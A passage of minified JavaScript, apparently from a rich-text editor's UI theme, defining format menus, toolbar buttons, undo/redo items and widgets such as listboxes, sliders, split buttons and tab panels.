e.items().each(function(e){e.menu&&e.visible(0<Oi(n,e.menu)),!e.menu&&e.settings.menu&&e.visible(0<Di(n,e.settings.menu));var t=e.settings.format;t&&e.visible(n.formatter.canApply(t)),e.visible()||i--}),i},Ai=function(e){var i,r,o,t,s,n,a,l,u=(r=0,o=[],t=[{title:"Headings",items:[{title:"Heading 1",format:"h1"},{title:"Heading 2",format:"h2"},{title:"Heading 3",format:"h3"},{title:"Heading 4",format:"h4"},{title:"Heading 5",format:"h5"},{title:"Heading 6",format:"h6"}]},{title:"Inline",items:[{title:"Bold",icon:"bold",format:"bold"},{title:"Italic",icon:"italic",format:"italic"},{title:"Underline",icon:"underline",format:"underline"},{title:"Strikethrough",icon:"strikethrough",format:"strikethrough"},{title:"Superscript",icon:"superscript",format:"superscript"},{title:"Subscript",icon:"subscript",format:"subscript"},{title:"Code",icon:"code",format:"code"}]},{title:"Blocks",items:[{title:"Paragraph",format:"p"},{title:"Blockquote",format:"blockquote"},{title:"Div",format:"div"},{title:"Pre",format:"pre"}]},{title:"Alignment",items:[{title:"Left",icon:"alignleft",format:"alignleft"},{title:"Center",icon:"aligncenter",format:"aligncenter"},{title:"Right",icon:"alignright",format:"alignright"},{title:"Justify",icon:"alignjustify",format:"alignjustify"}]}],s=function(e){var i=[];if(e)return w.each(e,function(e){var t={text:e.title,icon:e.icon};if(e.items)t.menu=s(e.items);else{var n=e.format||"custom"+r++;e.format||(e.name=n,o.push(e)),t.format=n,t.cmd=e.cmd}i.push(t)}),i},(i=e).on("init",function(){w.each(o,function(e){i.formatter.register(e.name,e)})}),{type:"menu",items:i.settings.style_formats_merge?i.settings.style_formats?s(t.concat(i.settings.style_formats)):s(t):s(i.settings.style_formats||t),onPostRender:function(e){i.fire("renderFormatsMenu",{control:e.control})},itemDefaults:{preview:!0,textStyle:function(){if(this.settings.format)return i.formatter.getCssText(this.settings.format)},onPostRender:function(){var n=this;n.parent().on("show",function(){var e,t;(e=n.settings.format)&&(n.disabled(!i.formatter.canApply(e)),n.active(i.formatter.match(e))),(t=n.settings.cmd)&&n.active(i.queryCommandState(t))})},onclick:function(){this.settings.format&&_i(i,this.settings.format)(),this.settings.cmd&&i.execCommand(this.settings.cmd)}}});n=u,e.addMenuItem("formats",{text:"Formats",menu:n}),l=u,(a=e).addButton("styleselect",{type:"menubutton",text:"Formats",menu:l,onShowMenu:function(){a.settings.style_formats_autohide&&Oi(a,this.menu)}})},Bi=function(n,e){return function(){var r,o,s,t=[];return w.each(e,function(e){t.push({text:e[0],value:e[1],textStyle:function(){return n.formatter.getCssText(e[1])}})}),{type:"listbox",text:e[0][0],values:t,fixedWidth:!0,onselect:function(e){if(e.control){var t=e.control.value();_i(n,t)()}},onPostRender:(r=n,o=t,function(){var t=this;r.on("nodeChange",function(e){var n=r.formatter,i=null;w.each(e.parents,function(t){if(w.each(o,function(e){if(s?n.matchNode(t,s,{value:e.value})&&(i=e.value):n.matchNode(t,e.value)&&(i=e.value),i)return!1}),i)return!1}),t.value(i)})})}}},Li=function(e){var t,n,i=function(e){for(var t=(e=e.replace(/;$/,"").split(";")).length;t--;)e[t]=e[t].split("=");return e}(e.settings.block_formats||"Paragraph=p;Heading 1=h1;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre");e.addMenuItem("blockformats",{text:"Blocks",menu:(t=e,n=i,w.map(n,function(e){return{text:e[0],onclick:_i(t,e[1]),textStyle:function(){return t.formatter.getCssText(e[1])}}}))}),e.addButton("formatselect",Bi(e,i))},zi=function(t,e){var n,i;if("string"==typeof e)i=e.split(" ");else if(w.isArray(e))return function(e){for(var t=[],n=0,i=e.length;n<i;++n){if(!V(e[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+e);X.apply(t,e[n])}return t}(w.map(e,function(e){return zi(t,e)}));return n=w.grep(i,function(e){return"|"===e||e in t.menuItems}),w.map(n,function(e){return"|"===e?{text:"-"}:t.menuItems[e]})},Ii=function(e){return e&&"-"===e.text},Fi=function(n){var i=Z(n,function(e,t){return!Ii(e)||!Ii(n[t-1])});return Z(i,function(e,t){return!Ii(e)||0<t&&t<i.length-1})},Ui=function(e){var t,n,i,r,o=e.settings.insert_button_items;return Fi(o?zi(e,o):(t=e,n="insert",i=[{text:"-"}],r=w.grep(t.menuItems,function(e){return e.context===n}),w.each(r,function(e){"before"===e.separator&&i.push({text:"|"}),e.prependToContext?i.unshift(e):i.push(e),"after"===e.separator&&i.push({text:"|"})}),i))},Vi=function(e){var t;(t=e).addButton("insert",{type:"menubutton",icon:"insert",menu:[],oncreatemenu:function(){this.menu.add(Ui(t)),this.menu.renderNew()}})},Yi=function(e){var n,i,r;n=e,w.each({bold:"Bold",italic:"Italic",underline:"Underline",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript"},function(e,t){n.addButton(t,{active:!1,tooltip:e,onPostRender:Ci(n,t),onclick:_i(n,t)})}),i=e,w.each({outdent:["Decrease indent","Outdent"],indent:["Increase indent","Indent"],cut:["Cut","Cut"],copy:["Copy","Copy"],paste:["Paste","Paste"],help:["Help","mceHelp"],selectall:["Select all","SelectAll"],visualaid:["Visual aids","mceToggleVisualAid"],newdocument:["New document","mceNewDocument"],removeformat:["Clear formatting","RemoveFormat"],remove:["Remove","Delete"]},function(e,t){i.addButton(t,{tooltip:e[0],cmd:e[1]})}),r=e,w.each({blockquote:["Blockquote","mceBlockQuote"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"]},function(e,t){r.addButton(t,{active:!1,tooltip:e[0],cmd:e[1],onPostRender:Ci(r,t)})})},$i=function(e){var n;Yi(e),n=e,w.each({bold:["Bold","Bold","Meta+B"],italic:["Italic","Italic","Meta+I"],underline:["Underline","Underline","Meta+U"],strikethrough:["Strikethrough","Strikethrough"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"],removeformat:["Clear formatting","RemoveFormat"],newdocument:["New document","mceNewDocument"],cut:["Cut","Cut","Meta+X"],copy:["Copy","Copy","Meta+C"],paste:["Paste","Paste","Meta+V"],selectall:["Select all","SelectAll","Meta+A"]},function(e,t){n.addMenuItem(t,{text:e[0],icon:t,shortcut:e[2],cmd:e[1]})}),n.addMenuItem("codeformat",{text:"Code",icon:"code",onclick:_i(n,"code")})},qi=function(n,i){return function(){var e=this,t=function(){var e="redo"===i?"hasRedo":"hasUndo";return!!n.undoManager&&n.undoManager[e]()};e.disabled(!t()),n.on("Undo Redo AddUndo TypingUndo ClearUndos SwitchMode",function(){e.disabled(n.readonly||!t())})}},Xi=function(e){var t,n;(t=e).addMenuItem("undo",{text:"Undo",icon:"undo",shortcut:"Meta+Z",onPostRender:qi(t,"undo"),cmd:"undo"}),t.addMenuItem("redo",{text:"Redo",icon:"redo",shortcut:"Meta+Y",onPostRender:qi(t,"redo"),cmd:"redo"}),(n=e).addButton("undo",{tooltip:"Undo",onPostRender:qi(n,"undo"),cmd:"undo"}),n.addButton("redo",{tooltip:"Redo",onPostRender:qi(n,"redo"),cmd:"redo"})},ji=function(e){var t,n;(t=e).addMenuItem("visualaid",{text:"Visual aids",selectable:!0,onPostRender:(n=t,function(){var t=this;n.on("VisualAid",function(e){t.active(e.hasVisual)}),t.active(n.hasVisual)}),cmd:"mceToggleVisualAid"})},Ji={setup:function(e){var t;e.rtl&&(rt.rtl=!0),e.on("mousedown progressstate",function(){Ct.hideAll()}),(t=e).settings.ui_container&&(ce.container=wi(gn.fromDom(_.document.body),t.settings.ui_container).fold(k(null),function(e){return e.dom()})),Nt.tooltips=!ce.iOS,rt.translate=function(e){return l.translate(e)},Li(e),Ei(e),$i(e),Xi(e),Wi(e),Ti(e),Ai(e),ji(e),Vi(e)}},Gi=Xt.extend({recalc:function(e){var t,n,i,r,o,s,a,l,u,c,d,f,h,m,g,p,v,b,y,x,w,_,R,C,E,k,H,S,T=[],M=[];t=e.settings,r=e.items().filter(":visible"),o=e.layoutRect(),i=t.columns||Math.ceil(Math.sqrt(r.length)),n=Math.ceil(r.length/i),b=t.spacingH||t.spacing||0,y=t.spacingV||t.spacing||0,x=t.alignH||t.align,w=t.alignV||t.align,p=e.paddingBox,S="reverseRows"in t?t.reverseRows:e.isRtl(),x&&"string"==typeof x&&(x=[x]),w&&"string"==typeof w&&(w=[w]);for(d=0;d<i;d++)T.push(0);for(f=0;f<n;f++)M.push(0);for(f=0;f<n;f++)for(d=0;d<i&&(c=r[f*i+d]);d++)C=(u=c.layoutRect()).minW,E=u.minH,T[d]=C>T[d]?C:T[d],M[f]=E>M[f]?E:M[f];for(k=o.innerW-p.left-p.right,d=_=0;d<i;d++)_+=T[d]+(0<d?b:0),k-=(0<d?b:0)+T[d];for(H=o.innerH-p.top-p.bottom,f=R=0;f<n;f++)R+=M[f]+(0<f?y:0),H-=(0<f?y:0)+M[f];if(_+=p.left+p.right,R+=p.top+p.bottom,(l={}).minW=_+(o.w-o.innerW),l.minH=R+(o.h-o.innerH),l.contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH,l.minW=Math.min(l.minW,o.maxW),l.minH=Math.min(l.minH,o.maxH),l.minW=Math.max(l.minW,o.startMinWidth),l.minH=Math.max(l.minH,o.startMinHeight),!o.autoResize||l.minW===o.minW&&l.minH===o.minH){var N;o.autoResize&&((l=e.layoutRect(l)).contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH),N="start"===t.packV?0:0<H?Math.floor(H/n):0;var P=0,W=t.flexWidths;if(W)for(d=0;d<W.length;d++)P+=W[d];else P=i;var D=k/P;for(d=0;d<i;d++)T[d]+=W?W[d]*D:D;for(m=p.top,f=0;f<n;f++){for(h=p.left,a=M[f]+N,d=0;d<i&&(c=r[S?f*i+i-1-d:f*i+d]);d++)g=c.settings,u=c.layoutRect(),s=Math.max(T[d],u.startMinWidth),u.x=h,u.y=m,"center"===(v=g.alignH||(x?x[d]||x[0]:null))?u.x=h+s/2-u.w/2:"right"===v?u.x=h+s-u.w:"stretch"===v&&(u.w=s),"center"===(v=g.alignV||(w?w[d]||w[0]:null))?u.y=m+a/2-u.h/2:"bottom"===v?u.y=m+a-u.h:"stretch"===v&&(u.h=a),c.layoutRect(u),h+=s+b,c.recalc&&c.recalc();m+=a+y}}else if(l.w=l.minW,l.h=l.minH,e.layoutRect(l),this.recalc(e),null===e._lastRect){var O=e.parent();O&&(O._lastRect=null,O.recalc())}}}),Ki=Nt.extend({renderHtml:function(){var e=this;return e.classes.add("iframe"),e.canFocus=!1,'<iframe id="'+e._id+'" class="'+e.classes+'" tabindex="-1" src="'+(e.settings.url||"javascript:''")+'" frameborder="0"></iframe>'},src:function(e){this.getEl().src=e},html:function(e,t){var n=this,i=this.getEl().contentWindow.document.body;return i?(i.innerHTML=e,t&&t()):u.setTimeout(function(){n.html(e)}),this}}),Zi=Nt.extend({init:function(e){this._super(e),this.classes.add("widget").add("infobox"),this.canFocus=!1},severity:function(e){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(e)},help:function(e){this.state.set("help",e)},renderHtml:function(){var e=this,t=e.classPrefix;return'<div id="'+e._id+'" class="'+e.classes+'"><div id="'+e._id+'-body">'+e.encode(e.state.get("text"))+'<button role="button" tabindex="-1"><i class="'+t+"ico "+t+'i-help"></i></button></div></div>'},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.getEl("body").firstChild.data=t.encode(e.value),t.state.get("rendered")&&t.updateLayoutRect()}),t.state.on("change:help",function(e){t.classes.toggle("has-help",e.value),t.state.get("rendered")&&t.updateLayoutRect()}),t._super()}}),Qi=Nt.extend({init:function(e){var t=this;t._super(e),t.classes.add("widget").add("label"),t.canFocus=!1,e.multiline&&t.classes.add("autoscroll"),e.strong&&t.classes.add("strong")},initLayoutRect:function(){var e=this,t=e._super();return e.settings.multiline&&(we.getSize(e.getEl()).width>t.maxW&&(t.minW=t.maxW,e.classes.add("multiline")),e.getEl().style.width=t.minW+"px",t.startMinH=t.h=t.minH=Math.min(t.maxH,we.getSize(e.getEl()).height)),t},repaint:function(){return this.settings.multiline||(this.getEl().style.lineHeight=this.layoutRect().h+"px"),this._super()},severity:function(e){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(e)},renderHtml:function(){var e,t,n=this,i=n.settings.forId,r=n.settings.html?n.settings.html:n.encode(n.state.get("text"));return!i&&(t=n.settings.forName)&&(e=n.getRoot().find("#"+t)[0])&&(i=e._id),i?'<label id="'+n._id+'" class="'+n.classes+'"'+(i?' for="'+i+'"':"")+">"+r+"</label>":'<span id="'+n._id+'" class="'+n.classes+'">'+r+"</span>"},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.innerHtml(t.encode(e.value)),t.state.get("rendered")&&t.updateLayoutRect()}),t._super()}}),er=lt.extend({Defaults:{role:"toolbar",layout:"flow"},init:function(e){this._super(e),this.classes.add("toolbar")},postRender:function(){return this.items().each(function(e){e.classes.add("toolbar-item")}),this._super()}}),tr=er.extend({Defaults:{role:"menubar",containerCls:"menubar",ariaRoot:!0,defaults:{type:"menubutton"}}}),nr=jt.extend({init:function(e){var t=this;t._renderOpen=!0,t._super(e),e=t.settings,t.classes.add("menubtn"),e.fixedWidth&&t.classes.add("fixed-width"),t.aria("haspopup",!0),t.state.set("menu",e.menu||t.render())},showMenu:function(e){var t,n=this;if(n.menu&&n.menu.visible()&&!1!==e)return n.hideMenu();n.menu||(t=n.state.get("menu")||[],n.classes.add("opened"),t.length?t={type:"menu",animate:!0,items:t}:(t.type=t.type||"menu",t.animate=!0),t.renderTo?n.menu=t.parent(n).show().renderTo():n.menu=v.create(t).parent(n).renderTo(),n.fire("createmenu"),n.menu.reflow(),n.menu.on("cancel",function(e){e.control.parent()===n.menu&&(e.stopPropagation(),n.focus(),n.hideMenu())}),n.menu.on("select",function(){n.focus()}),n.menu.on("show hide",function(e){"hide"===e.type&&e.control.parent()===n&&n.classes.remove("opened-under"),e.control===n.menu&&(n.activeMenu("show"===e.type),n.classes.toggle("opened","show"===e.type)),n.aria("expanded","show"===e.type)}).fire("show")),n.menu.show(),n.menu.layoutRect({w:n.layoutRect().w}),n.menu.repaint(),n.menu.moveRel(n.getEl(),n.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"]);var i=n.menu.layoutRect(),r=n.$el.offset().top+n.layoutRect().h;r>i.y&&r<i.y+i.h&&n.classes.add("opened-under"),n.fire("showmenu")},hideMenu:function(){this.menu&&(this.menu.items().each(function(e){e.hideMenu&&e.hideMenu()}),this.menu.hide())},activeMenu:function(e){this.classes.toggle("active",e)},renderHtml:function(){var e,t=this,n=t._id,i=t.classPrefix,r=t.settings.icon,o=t.state.get("text"),s="";return(e=t.settings.image)?(r="none","string"!=typeof e&&(e=_.window.getSelection?e[0]:e[1]),e=" style=\"background-image: url('"+e+"')\""):e="",o&&(t.classes.add("btn-has-text"),s='<span class="'+i+'txt">'+t.encode(o)+"</span>"),r=t.settings.icon?i+"ico "+i+"i-"+r:"",t.aria("role",t.parent()instanceof tr?"menuitem":"button"),'<div id="'+n+'" class="'+t.classes+'" tabindex="-1" aria-labelledby="'+n+'"><button id="'+n+'-open" role="presentation" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+e+"></i>":"")+s+' <i class="'+i+'caret"></i></button></div>'},postRender:function(){var r=this;return r.on("click",function(e){e.control===r&&function(e,t){for(;e;){if(t===e)return!0;e=e.parentNode}return!1}(e.target,r.getEl())&&(r.focus(),r.showMenu(!e.aria),e.aria&&r.menu.items().filter(":visible")[0].focus())}),r.on("mouseenter",function(e){var t,n=e.control,i=r.parent();n&&i&&n instanceof nr&&n.parent()===i&&(i.items().filter("MenuButton").each(function(e){e.hideMenu&&e!==n&&(e.menu&&e.menu.visible()&&(t=!0),e.hideMenu())}),t&&(n.focus(),n.showMenu()))}),r._super()},bindStates:function(){var e=this;return e.state.on("change:menu",function(){e.menu&&e.menu.remove(),e.menu=null}),e._super()},remove:function(){this._super(),this.menu&&this.menu.remove()}}),ir=Ct.extend({Defaults:{defaultType:"menuitem",border:1,layout:"stack",role:"application",bodyRole:"menu",ariaRoot:!0},init:function(e){if(e.autohide=!0,e.constrainToViewport=!0,"function"==typeof e.items&&(e.itemsFactory=e.items,e.items=[]),e.itemDefaults)for(var t=e.items,n=t.length;n--;)t[n]=w.extend({},e.itemDefaults,t[n]);this._super(e),this.classes.add("menu"),e.animate&&11!==ce.ie&&this.classes.add("animate")},repaint:function(){return this.classes.toggle("menu-align",!0),this._super(),this.getEl().style.height="",this.getEl("body").style.height="",this},cancel:function(){this.hideAll(),this.fire("select")},load:function(){var t,n=this;function i(){n.throbber&&(n.throbber.hide(),n.throbber=null)}n.settings.itemsFactory&&(n.throbber||(n.throbber=new Ht(n.getEl("body"),!0),0===n.items().length?(n.throbber.show(),n.fire("loading")):n.throbber.show(100,function(){n.items().remove(),n.fire("loading")}),n.on("hide close",i)),n.requestTime=t=(new Date).getTime(),n.settings.itemsFactory(function(e){0!==e.length?n.requestTime===t&&(n.getEl().style.width="",n.getEl("body").style.width="",i(),n.items().remove(),n.getEl("body").innerHTML="",n.add(e),n.renderNew(),n.fire("loaded")):n.hide()}))},hideAll:function(){return this.find("menuitem").exec("hideMenu"),this._super()},preRender:function(){var n=this;return n.items().each(function(e){var t=e.settings;if(t.icon||t.image||t.selectable)return!(n._hasIcons=!0)}),n.settings.itemsFactory&&n.on("postrender",function(){n.settings.itemsFactory&&n.load()}),n.on("show hide",function(e){e.control===n&&("show"===e.type?u.setTimeout(function(){n.classes.add("in")},0):n.classes.remove("in"))}),n._super()}}),rr=nr.extend({init:function(i){var t,r,o,n,s=this;s._super(i),i=s.settings,s._values=t=i.values,t&&("undefined"!=typeof i.value&&function e(t){for(var n=0;n<t.length;n++){if(r=t[n].selected||i.value===t[n].value)return o=o||t[n].text,s.state.set("value",t[n].value),!0;if(t[n].menu&&e(t[n].menu))return!0}}(t),!r&&0<t.length&&(o=t[0].text,s.state.set("value",t[0].value)),s.state.set("menu",t)),s.state.set("text",i.text||o),s.classes.add("listbox"),s.on("select",function(e){var t=e.control;n&&(e.lastControl=n),i.multiple?t.active(!t.active()):s.value(e.control.value()),n=t})},value:function(n){return 0===arguments.length?this.state.get("value"):(void 0===n||(this.settings.values&&!function t(e){return J(e,function(e){return e.menu?t(e.menu):e.value===n})}(this.settings.values)?null===n&&this.state.set("value",null):this.state.set("value",n)),this)},bindStates:function(){var i=this;return i.on("show",function(e){var t,n;t=e.control,n=i.value(),t instanceof ir&&t.items().each(function(e){e.hasMenus()||e.active(e.value()===n)})}),i.state.on("change:value",function(t){var n=function e(t,n){var i;if(t)for(var r=0;r<t.length;r++){if(t[r].value===n)return t[r];if(t[r].menu&&(i=e(t[r].menu,n)))return i}}(i.state.get("menu"),t.value);n?i.text(n.text):i.text(i.settings.text)}),i._super()}}),or=Nt.extend({Defaults:{border:0,role:"menuitem"},init:function(e){var t,n=this;n._super(e),e=n.settings,n.classes.add("menu-item"),e.menu&&n.classes.add("menu-item-expand"),e.preview&&n.classes.add("menu-item-preview"),"-"!==(t=n.state.get("text"))&&"|"!==t||(n.classes.add("menu-item-sep"),n.aria("role","separator"),n.state.set("text","-")),e.selectable&&(n.aria("role","menuitemcheckbox"),n.classes.add("menu-item-checkbox"),e.icon="selected"),e.preview||e.selectable||n.classes.add("menu-item-normal"),n.on("mousedown",function(e){e.preventDefault()}),e.menu&&!e.ariaHideMenu&&n.aria("haspopup",!0)},hasMenus:function(){return!!this.settings.menu},showMenu:function(){var t,n=this,e=n.settings,i=n.parent();if(i.items().each(function(e){e!==n&&e.hideMenu()}),e.menu){(t=n.menu)?t.show():((t=e.menu).length?t={type:"menu",items:t}:t.type=t.type||"menu",i.settings.itemDefaults&&(t.itemDefaults=i.settings.itemDefaults),(t=n.menu=v.create(t).parent(n).renderTo()).reflow(),t.on("cancel",function(e){e.stopPropagation(),n.focus(),t.hide()}),t.on("show hide",function(e){e.control.items&&e.control.items().each(function(e){e.active(e.settings.selected)})}).fire("show"),t.on("hide",function(e){e.control===t&&n.classes.remove("selected")}),t.submenu=!0),t._parentMenu=i,t.classes.add("menu-sub");var r=t.testMoveRel(n.getEl(),n.isRtl()?["tl-tr","bl-br","tr-tl","br-bl"]:["tr-tl","br-bl","tl-tr","bl-br"]);t.moveRel(n.getEl(),r),r="menu-sub-"+(t.rel=r),t.classes.remove(t._lastRel).add(r),t._lastRel=r,n.classes.add("selected"),n.aria("expanded",!0)}},hideMenu:function(){var e=this;return e.menu&&(e.menu.items().each(function(e){e.hideMenu&&e.hideMenu()}),e.menu.hide(),e.aria("expanded",!1)),e},renderHtml:function(){var e,t=this,n=t._id,i=t.settings,r=t.classPrefix,o=t.state.get("text"),s=t.settings.icon,a="",l=i.shortcut,u=t.encode(i.url);function c(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function d(e){var t=i.match||"";return t?e.replace(new RegExp(c(t),"gi"),function(e){return"!mce~match["+e+"]mce~match!"}):e}function f(e){return e.replace(new RegExp(c("!mce~match["),"g"),"<b>").replace(new RegExp(c("]mce~match!"),"g"),"</b>")}return s&&t.parent().classes.add("menu-has-icons"),i.image&&(a=" style=\"background-image: url('"+i.image+"')\""),l&&(l=function(e){var t,n,i={};for(i=ce.mac?{alt:"⌥",ctrl:"⌘",shift:"⇧",meta:"⌘"}:{meta:"Ctrl"},e=e.split("+"),t=0;t<e.length;t++)(n=i[e[t].toLowerCase()])&&(e[t]=n);return e.join("+")}(l)),s=r+"ico "+r+"i-"+(t.settings.icon||"none"),e="-"!==o?'<i class="'+s+'"'+a+"></i>\xa0":"",o=f(t.encode(d(o))),u=f(t.encode(d(u))),'<div id="'+n+'" class="'+t.classes+'" tabindex="-1">'+e+("-"!==o?'<span id="'+n+'-text" class="'+r+'text">'+o+"</span>":"")+(l?'<div id="'+n+'-shortcut" class="'+r+'menu-shortcut">'+l+"</div>":"")+(i.menu?'<div class="'+r+'caret"></div>':"")+(u?'<div class="'+r+'menu-item-link">'+u+"</div>":"")+"</div>"},postRender:function(){var t=this,n=t.settings,e=n.textStyle;if("function"==typeof e&&(e=e.call(this)),e){var i=t.getEl("text");i&&(i.setAttribute("style",e),t._textStyle=e)}return t.on("mouseenter click",function(e){e.control===t&&(n.menu||"click"!==e.type?(t.showMenu(),e.aria&&t.menu.focus(!0)):(t.fire("select"),u.requestAnimationFrame(function(){t.parent().hideAll()})))}),t._super(),t},hover:function(){return this.parent().items().each(function(e){e.classes.remove("selected")}),this.classes.toggle("selected",!0),this},active:function(e){return function(e,t){var n=e._textStyle;if(n){var i=e.getEl("text");i.setAttribute("style",n),t&&(i.style.color="",i.style.backgroundColor="")}}(this,e),void 0!==e&&this.aria("checked",e),this._super(e)},remove:function(){this._super(),this.menu&&this.menu.remove()}}),sr=Kt.extend({Defaults:{classes:"radio",role:"radio"}}),ar=Nt.extend({renderHtml:function(){var e=this,t=e.classPrefix;return e.classes.add("resizehandle"),"both"===e.settings.direction&&e.classes.add("resizehandle-both"),e.canFocus=!1,'<div id="'+e._id+'" class="'+e.classes+'"><i class="'+t+"ico "+t+'i-resize"></i></div>'},postRender:function(){var t=this;t._super(),t.resizeDragHelper=new ct(this._id,{start:function(){t.fire("ResizeStart")},drag:function(e){"both"!==t.settings.direction&&(e.deltaX=0),t.fire("Resize",e)},stop:function(){t.fire("ResizeEnd")}})},remove:function(){return this.resizeDragHelper&&this.resizeDragHelper.destroy(),this._super()}});function lr(e){var t="";if(e)for(var n=0;n<e.length;n++)t+='<option value="'+e[n]+'">'+e[n]+"</option>";return t}var ur=Nt.extend({Defaults:{classes:"selectbox",role:"selectbox",options:[]},init:function(e){var n=this;n._super(e),n.settings.size&&(n.size=n.settings.size),n.settings.options&&(n._options=n.settings.options),n.on("keydown",function(e){var t;13===e.keyCode&&(e.preventDefault(),n.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),n.fire("submit",{data:t.toJSON()}))})},options:function(e){return arguments.length?(this.state.set("options",e),this):this.state.get("options")},renderHtml:function(){var e,t=this,n="";return e=lr(t._options),t.size&&(n=' size = "'+t.size+'"'),'<select id="'+t._id+'" class="'+t.classes+'"'+n+">"+e+"</select>"},bindStates:function(){var t=this;return t.state.on("change:options",function(e){t.getEl().innerHTML=lr(e.value)}),t._super()}});function cr(e,t,n){return e<t&&(e=t),n<e&&(e=n),e}function dr(e,t,n){e.setAttribute("aria-"+t,n)}function fr(e,t){var n,i,r,o,s;"v"===e.settings.orientation?(r="top",i="height",n="h"):(r="left",i="width",n="w"),s=e.getEl("handle"),o=((e.layoutRect()[n]||100)-we.getSize(s)[i])*((t-e._minValue)/(e._maxValue-e._minValue))+"px",s.style[r]=o,s.style.height=e.layoutRect().h+"px",dr(s,"valuenow",t),dr(s,"valuetext",""+e.settings.previewFilter(t)),dr(s,"valuemin",e._minValue),dr(s,"valuemax",e._maxValue)}var hr=Nt.extend({init:function(e){var t=this;e.previewFilter||(e.previewFilter=function(e){return Math.round(100*e)/100}),t._super(e),t.classes.add("slider"),"v"===e.orientation&&t.classes.add("vertical"),t._minValue=$(e.minValue)?e.minValue:0,t._maxValue=$(e.maxValue)?e.maxValue:100,t._initValue=t.state.get("value")},renderHtml:function(){var e=this._id,t=this.classPrefix;return'<div id="'+e+'" class="'+this.classes+'"><div id="'+e+'-handle" class="'+t+'slider-handle" role="slider" tabindex="-1"></div></div>'},reset:function(){this.value(this._initValue).repaint()},postRender:function(){var e,t,n,i,r,o,s,a,l,u,c,d,f,h,m=this;e=m._minValue,t=m._maxValue,"v"===m.settings.orientation?(n="screenY",i="top",r="height",o="h"):(n="screenX",i="left",r="width",o="w"),m._super(),function(o,s){function t(e){var t,n,i,r;t=cr(t=(((t=m.value())+(r=n=o))/((i=s)-r)+.05*e)*(i-n)-n,o,s),m.value(t),m.fire("dragstart",{value:t}),m.fire("drag",{value:t}),m.fire("dragend",{value:t})}m.on("keydown",function(e){switch(e.keyCode){case 37:case 38:t(-1);break;case 39:case 40:t(1)}})}(e,t),s=e,a=t,l=m.getEl("handle"),m._dragHelper=new ct(m._id,{handle:m._id+"-handle",start:function(e){u=e[n],c=parseInt(m.getEl("handle").style[i],10),d=(m.layoutRect()[o]||100)-we.getSize(l)[r],m.fire("dragstart",{value:h})},drag:function(e){var t=e[n]-u;f=cr(c+t,0,d),l.style[i]=f+"px",h=s+f/d*(a-s),m.value(h),m.tooltip().text(""+m.settings.previewFilter(h)).show().moveRel(l,"bc tc"),m.fire("drag",{value:h})},stop:function(){m.tooltip().hide(),m.fire("dragend",{value:h})}})},repaint:function(){this._super(),fr(this,this.value())},bindStates:function(){var t=this;return t.state.on("change:value",function(e){fr(t,e.value)}),t._super()}}),mr=Nt.extend({renderHtml:function(){return this.classes.add("spacer"),this.canFocus=!1,'<div id="'+this._id+'" class="'+this.classes+'"></div>'}}),gr=nr.extend({Defaults:{classes:"widget btn splitbtn",role:"button"},repaint:function(){var e,t,n=this.getEl(),i=this.layoutRect();return this._super(),e=n.firstChild,t=n.lastChild,ye(e).css({width:i.w-we.getSize(t).width,height:i.h-2}),ye(t).css({height:i.h-2}),this},activeMenu:function(e){ye(this.getEl().lastChild).toggleClass(this.classPrefix+"active",e)},renderHtml:function(){var e,t,n=this,i=n._id,r=n.classPrefix,o=n.state.get("icon"),s=n.state.get("text"),a=n.settings,l="";return(e=a.image)?(o="none","string"!=typeof e&&(e=_.window.getSelection?e[0]:e[1]),e=" style=\"background-image: url('"+e+"')\""):e="",o=a.icon?r+"ico "+r+"i-"+o:"",s&&(n.classes.add("btn-has-text"),l='<span class="'+r+'txt">'+n.encode(s)+"</span>"),t="boolean"==typeof a.active?' aria-pressed="'+a.active+'"':"",'<div id="'+i+'" class="'+n.classes+'" role="button"'+t+' tabindex="-1"><button type="button" hidefocus="1" tabindex="-1">'+(o?'<i class="'+o+'"'+e+"></i>":"")+l+'</button><button type="button" class="'+r+'open" hidefocus="1" tabindex="-1">'+(n._menuBtnText?(o?"\xa0":"")+n._menuBtnText:"")+' <i class="'+r+'caret"></i></button></div>'},postRender:function(){var n=this.settings.onclick;return this.on("click",function(e){var t=e.target;if(e.control===this)for(;t;){if(e.aria&&"down"!==e.aria.key||"BUTTON"===t.nodeName&&-1===t.className.indexOf("open"))return e.stopImmediatePropagation(),void(n&&n.call(this,e));t=t.parentNode}}),delete this.settings.onclick,this._super()}}),pr=xi.extend({Defaults:{containerClass:"stack-layout",controlClass:"stack-layout-item",endClass:"break"},isNative:function(){return!0}}),vr=pt.extend({Defaults:{layout:"absolute",defaults:{type:"panel"}},activateTab:function(n){var e;this.activeTabId&&(e=this.getEl(this.activeTabId),ye(e).removeClass(this.classPrefix+"active"),e.setAttribute("aria-selected","false")),this.activeTabId="t"+n,(e=this.getEl("t"+n)).setAttribute("aria-selected","true"),ye(e).addClass(this.classPrefix+"active"),this.items()[n].show().fire("showtab"),this.reflow(),this.items().each(function(e,t){n!==t&&e.hide()})},renderHtml:function(){var i=this,e=i._layout,r="",o=i.classPrefix;return i.preRender(),e.preRender(i),i.items().each(function(e,t){var n=i._id+"-t"+t;e.aria("role","tabpanel"),e.aria("labelledby",n),r+='<div id="'+n+'" class="'+o+'tab" unselectable="on" role="tab" aria-controls="'+e._id+'" aria-selected="false" tabIndex="-1">'+i.encode(e.settings.title)+"</div>"}),'<div id="'+i._id+'" class="'+i.classes+'" hidefocus="1" tabindex="-1"><div id="'+i._id+'-head" class="'+o+'tabs" role="tablist">'+r+'</div><div id="'+i._id+'-body" class="'+i.bodyClasses+'">'+e.renderHtml(i)+"</div></div>"},postRender:function(){var i=this;i._super(),i.settings.activeTab=i.settings.activeTab||0,i.activateTab(i.settings.activeTab),this.on("click",function(e){var 